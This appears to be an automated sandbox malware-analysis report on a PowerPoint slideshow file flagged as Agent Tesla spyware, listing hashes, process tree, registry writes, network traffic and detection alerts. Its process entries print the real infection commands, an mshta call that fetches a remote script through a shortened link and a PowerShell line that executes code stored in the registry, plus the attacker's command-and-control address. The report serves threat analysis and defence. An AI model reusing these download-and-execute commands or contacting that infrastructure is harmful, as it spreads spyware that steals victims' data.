File name: | 7902633d2693d907bc10aad3778c8929 |
Full analysis: | https://app.any.run/tasks/93ec89cc-ff88-4e02-af33-c83140e73a6e |
Verdict: | Malicious activity |
Threats: | Agent Tesla is spyware that collects information about the actions of its victims by recording keystrokes and user interactions. It is falsely marketed as a legitimate software on the dedicated website where this malware is sold. |
Analysis date: | February 10, 2021, 07:49:14 |
OS: | Windows 7 Professional Service Pack 1 (build: 7601, 32 bit) |
Tags: | |
Indicators: | |
MIME: | application/vnd.ms-powerpoint |
File info: | Composite Document File V2 Document, Little Endian, Os: Windows, Version 6.2, Code page: 1252, Author: Proffesor Qureshi, Last Saved By: Microsoft , Revision Number: 20, Name of Creating Application: Microsoft Office PowerPoint, Total Editing Time: 17:04, Create Time/Date: Wed Aug 16 01:00:00 2006, Last Saved Time/Date: Tue Feb 9 00:47:53 2021, Number of Words: 0 |
MD5: | 7902633D2693D907BC10AAD3778C8929 |
SHA1: | 7510AD4842AB437B528E6174793F96B2CD36173C |
SHA256: | 2E85A87FA832435A6FE4AB09B9EC13BDE21CD76FFEDCD203317A61914752731B |
SSDEEP: | 3072:knpmffdHpeD1GIl/UmILhjKucsiKV4ixkcnnu6yzukpHgOSnkMTa/:knpmHdscfiKV/DnnupuygOSnbe/ |
.pps/ppt | | | Microsoft PowerPoint document (79.7) |
---|
HeadingPairs: |
|
---|---|
TitleOfParts: | Office Theme |
HyperlinksChanged: | No |
SharedDoc: | No |
LinksUpToDate: | No |
ScaleCrop: | No |
AppVersion: | 12 |
MMClips: | - |
HiddenSlides: | - |
Notes: | - |
Slides: | - |
Paragraphs: | - |
Bytes: | - |
PresentationTarget: | On-screen Show (4:3) |
CodePage: | Windows Latin 1 (Western European) |
ThumbnailClip: | (Binary data 57736 bytes, use -b option to extract) |
Words: | - |
ModifyDate: | 2021:02:09 00:47:53 |
CreateDate: | 2006:08:16 00:00:00 |
TotalEditTime: | 17.1 minutes |
Software: | Microsoft Office PowerPoint |
RevisionNumber: | 20 |
LastModifiedBy: | Microsoft |
Author: | Proffesor Qureshi |
PID | CMD | Path | Indicators | Parent process | |||||||||||
---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|
2068 | "C:\Program Files\Microsoft Office\Office14\POWERPNT.EXE" /s "C:\Users\admin\AppData\Local\Temp\7902633d2693d907bc10aad3778c8929.pps" | C:\Program Files\Microsoft Office\Office14\POWERPNT.EXE | — | explorer.exe | |||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Microsoft PowerPoint Exit code: 0 Version: 14.0.6009.1000 Modules
| |||||||||||||||
2660 | ping | C:\Windows\system32\ping.exe | — | POWERPNT.EXE | |||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: TCP/IP Ping Command Exit code: 1 Version: 6.1.7600.16385 (win7_rtm.090713-1255) Modules
| |||||||||||||||
2884 | ping | C:\Windows\system32\ping.exe | — | POWERPNT.EXE | |||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: TCP/IP Ping Command Exit code: 1 Version: 6.1.7600.16385 (win7_rtm.090713-1255) Modules
| |||||||||||||||
3104 | ping | C:\Windows\system32\ping.exe | — | POWERPNT.EXE | |||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: TCP/IP Ping Command Exit code: 1 Version: 6.1.7600.16385 (win7_rtm.090713-1255) Modules
| |||||||||||||||
3004 | ping | C:\Windows\system32\ping.exe | — | POWERPNT.EXE | |||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: TCP/IP Ping Command Exit code: 1 Version: 6.1.7600.16385 (win7_rtm.090713-1255) Modules
| |||||||||||||||
3740 | cmd /c mshta http://1230948%[email protected]/plansjdwhhhhhhhhhhuowk | C:\Windows\system32\cmd.exe | — | POWERPNT.EXE | |||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Windows Command Processor Exit code: 0 Version: 6.1.7601.17514 (win7sp1_rtm.101119-1850) Modules
| |||||||||||||||
3884 | ping | C:\Windows\system32\ping.exe | — | POWERPNT.EXE | |||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: TCP/IP Ping Command Exit code: 1 Version: 6.1.7600.16385 (win7_rtm.090713-1255) Modules
| |||||||||||||||
3992 | ping | C:\Windows\system32\ping.exe | — | POWERPNT.EXE | |||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: TCP/IP Ping Command Exit code: 1 Version: 6.1.7600.16385 (win7_rtm.090713-1255) Modules
| |||||||||||||||
3116 | mshta http://1230948%[email protected]/plansjdwhhhhhhhhhhuowk | C:\Windows\system32\mshta.exe | cmd.exe | ||||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Microsoft (R) HTML Application host Exit code: 0 Version: 11.00.9600.16428 (winblue_gdr.131013-1700) Modules
| |||||||||||||||
3952 | "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noexit ((gp HKCU:\Software).cutona)|IEX | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | mshta.exe | ||||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Windows PowerShell Exit code: 0 Version: 6.1.7600.16385 (win7_rtm.090713-1255) Modules
|
(PID) Process: | (2068) POWERPNT.EXE | Key: | HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\PowerPoint\Resiliency\StartupItems |
Operation: | write | Name: | 8l5 |
Value: 386C350014080000010000000000000000000000 | |||
(PID) Process: | (2068) POWERPNT.EXE | Key: | HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\LanguageResources\EnabledLanguages |
Operation: | write | Name: | 1033 |
Value: Off | |||
(PID) Process: | (2068) POWERPNT.EXE | Key: | HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\LanguageResources\EnabledLanguages |
Operation: | write | Name: | 1041 |
Value: Off | |||
(PID) Process: | (2068) POWERPNT.EXE | Key: | HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\LanguageResources\EnabledLanguages |
Operation: | write | Name: | 1046 |
Value: Off | |||
(PID) Process: | (2068) POWERPNT.EXE | Key: | HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\LanguageResources\EnabledLanguages |
Operation: | write | Name: | 1036 |
Value: Off | |||
(PID) Process: | (2068) POWERPNT.EXE | Key: | HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\LanguageResources\EnabledLanguages |
Operation: | write | Name: | 1031 |
Value: Off | |||
(PID) Process: | (2068) POWERPNT.EXE | Key: | HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\LanguageResources\EnabledLanguages |
Operation: | write | Name: | 1040 |
Value: Off | |||
(PID) Process: | (2068) POWERPNT.EXE | Key: | HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\LanguageResources\EnabledLanguages |
Operation: | write | Name: | 1049 |
Value: Off | |||
(PID) Process: | (2068) POWERPNT.EXE | Key: | HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\LanguageResources\EnabledLanguages |
Operation: | write | Name: | 3082 |
Value: Off | |||
(PID) Process: | (2068) POWERPNT.EXE | Key: | HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\LanguageResources\EnabledLanguages |
Operation: | write | Name: | 1042 |
Value: Off |
PID | Process | Filename | Type | |
---|---|---|---|---|
2068 | POWERPNT.EXE | C:\Users\admin\AppData\Local\Temp\CVRC4C7.tmp.cvr | — | |
MD5:— | SHA256:— | |||
2068 | POWERPNT.EXE | C:\Users\admin\AppData\Local\Temp\~DFB29F0E18D6B94F4A.TMP | — | |
MD5:— | SHA256:— | |||
3116 | mshta.exe | C:\Users\admin\AppData\Local\Temp\CabE6A7.tmp | — | |
MD5:— | SHA256:— | |||
3116 | mshta.exe | C:\Users\admin\AppData\Local\Temp\TarE6A8.tmp | — | |
MD5:— | SHA256:— | |||
3116 | mshta.exe | C:\Users\admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\CFE86DBBE02D859DC92F1E17E0574EE8_46766FC45507C0B9E264E4C18BC7288B | binary | |
MD5:91BB49EE97B19CCC78CE123FF3FB6DCF | SHA256:9D6E84B2A2A67D59CD362247625ABDF8FC34B6C6701324E078F0A8C06F69A7B0 | |||
3116 | mshta.exe | C:\Users\admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\CC197601BE0898B7B0FCC91FA15D8A69_9E19B9DD2CD31790C5DEBD3AA9ED9502 | binary | |
MD5:BF36E6B29914E5AC9DB1FE1B6BE08D1F | SHA256:891558367B65E88B6A6989FC406802FC9F4D864DD4FA36CA1E649B43917678BA | |||
3116 | mshta.exe | C:\Users\admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\CC197601BE0898B7B0FCC91FA15D8A69_7E3FEF11902E924C7B6E61B393A08940 | der | |
MD5:B466467D12470FFBE14BB93CDA5CF683 | SHA256:1F3A6F394EB66B28DBAAA286912B016F31BC1E3C011895ED4A4044FDC7AC833F | |||
3116 | mshta.exe | C:\Users\admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\B6QGX7LP\1277698886-ieretrofit[1].js | text | |
MD5:CB9AF0197F496F52B471A76CFD8D601A | SHA256:DA3EB4AB25E02A8DC118FEBC626DF495ACD468E84BC0B9767B56E8959B150F99 | |||
3116 | mshta.exe | C:\Users\admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\6Z2BCOUL\plansjdwhhhhhhhhhhuowk[1].htm | html | |
MD5:CA9D7CFD00403F4FCB0D40312CCDC5FC | SHA256:37337A8A9DD564814D29720AD33A5B146740668A98C475E2AD4AE1108C35B26A | |||
3116 | mshta.exe | C:\Users\admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\CC197601BE0898B7B0FCC91FA15D8A69_7E3FEF11902E924C7B6E61B393A08940 | binary | |
MD5:A904BD45C21BD128780778E798085903 | SHA256:2948904E28D0679EE9CBFEE4745EA2A9B5334663C59ED352C56D08202BF401E7 |
PID | Process | Method | HTTP Code | IP | URL | CN | Type | Size | Reputation |
---|---|---|---|---|---|---|---|---|---|
3116 | mshta.exe | GET | 200 | 172.217.23.99:80 | http://ocsp.pki.goog/gts1o1core/MFIwUDBOMEwwSjAJBgUrDgMCGgUABBRCRjDCJxnb3nDwj%2Fxz5aZfZjgXvAQUmNH4bhDrz5vsYJ8YkBug630J%2FSsCEQCbxJefv9myDwgAAAAAcLPs | US | der | 472 b | whitelisted |
3116 | mshta.exe | GET | 301 | 67.199.248.16:80 | http://j.mp/plansjdwhhhhhhhhhhuowk | US | html | 162 b | shared |
3116 | mshta.exe | GET | 200 | 172.217.23.99:80 | http://ocsp.pki.goog/gts1o1core/MFEwTzBNMEswSTAJBgUrDgMCGgUABBRCRjDCJxnb3nDwj%2Fxz5aZfZjgXvAQUmNH4bhDrz5vsYJ8YkBug630J%2FSsCEAjBuyP77ProAgAAAACHAiU%3D | US | der | 471 b | whitelisted |
3932 | MSBuild.exe | POST | 200 | 103.133.105.179:80 | http://103.133.105.179/13/inc/179e4eedd1c1d3.php | unknown | — | — | malicious |
3932 | MSBuild.exe | POST | — | 103.133.105.179:80 | http://103.133.105.179/13/inc/179e4eedd1c1d3.php | unknown | — | — | malicious |
3932 | MSBuild.exe | POST | 200 | 103.133.105.179:80 | http://103.133.105.179/13/inc/179e4eedd1c1d3.php | unknown | — | — | malicious |
3116 | mshta.exe | GET | 200 | 172.217.23.99:80 | http://ocsp.pki.goog/gts1o1core/MFIwUDBOMEwwSjAJBgUrDgMCGgUABBRCRjDCJxnb3nDwj%2Fxz5aZfZjgXvAQUmNH4bhDrz5vsYJ8YkBug630J%2FSsCEQCaBDG0G77b2AgAAAAAcLPE | US | der | 472 b | whitelisted |
3932 | MSBuild.exe | POST | 200 | 103.133.105.179:80 | http://103.133.105.179/13/inc/179e4eedd1c1d3.php | unknown | text | 200 b | malicious |
3116 | mshta.exe | GET | 200 | 172.217.23.99:80 | http://ocsp.pki.goog/gts1o1core/MFIwUDBOMEwwSjAJBgUrDgMCGgUABBRCRjDCJxnb3nDwj%2Fxz5aZfZjgXvAQUmNH4bhDrz5vsYJ8YkBug630J%2FSsCEQDDtGcDL0KCVwIAAAAAhwFm | US | der | 472 b | whitelisted |
3116 | mshta.exe | GET | 200 | 172.217.23.99:80 | http://ocsp.pki.goog/gts1o1core/MFEwTzBNMEswSTAJBgUrDgMCGgUABBRCRjDCJxnb3nDwj%2Fxz5aZfZjgXvAQUmNH4bhDrz5vsYJ8YkBug630J%2FSsCEFDNhZcTHX9CAgAAAACHAiI%3D | US | der | 471 b | whitelisted |
PID | Process | IP | Domain | ASN | CN | Reputation |
---|---|---|---|---|---|---|
3116 | mshta.exe | 172.217.23.99:80 | ocsp.pki.goog | Google Inc. | US | whitelisted |
3116 | mshta.exe | 67.199.248.16:80 | j.mp | Bitly Inc | US | shared |
3116 | mshta.exe | 216.58.212.164:443 | www.google.com | Google Inc. | US | whitelisted |
3116 | mshta.exe | 142.250.186.65:443 | ifyouarebadtheniamyourdadhehe.blogspot.com | Google Inc. | US | whitelisted |
3952 | powershell.exe | 207.241.224.2:443 | archive.org | Internet Archive | US | malicious |
3116 | mshta.exe | 142.250.185.110:443 | www.google-analytics.com | Google Inc. | US | whitelisted |
3116 | mshta.exe | 142.250.74.195:443 | fonts.gstatic.com | Google Inc. | US | whitelisted |
3116 | mshta.exe | 142.250.185.106:443 | fonts.googleapis.com | Google Inc. | US | whitelisted |
3932 | MSBuild.exe | 103.133.105.179:80 | — | — | — | malicious |
3116 | mshta.exe | 142.250.74.201:443 | www.blogger.com | Google Inc. | US | suspicious |
Domain | IP | Reputation |
---|---|---|
j.mp |
| shared |
ifyouarebadtheniamyourdadhehe.blogspot.com |
| whitelisted |
ocsp.pki.goog |
| whitelisted |
www.blogger.com |
| shared |
resources.blogblog.com |
| whitelisted |
accounts.google.com |
| shared |
fonts.googleapis.com |
| whitelisted |
www.google.com |
| whitelisted |
www.google-analytics.com |
| whitelisted |
fonts.gstatic.com |
| whitelisted |
PID | Process | Class | Message |
---|---|---|---|
— | — | A Network Trojan was detected | SPYWARE [PTsecurity] AgentTesla |
— | — | A Network Trojan was detected | SPYWARE [PTsecurity] AgentTesla |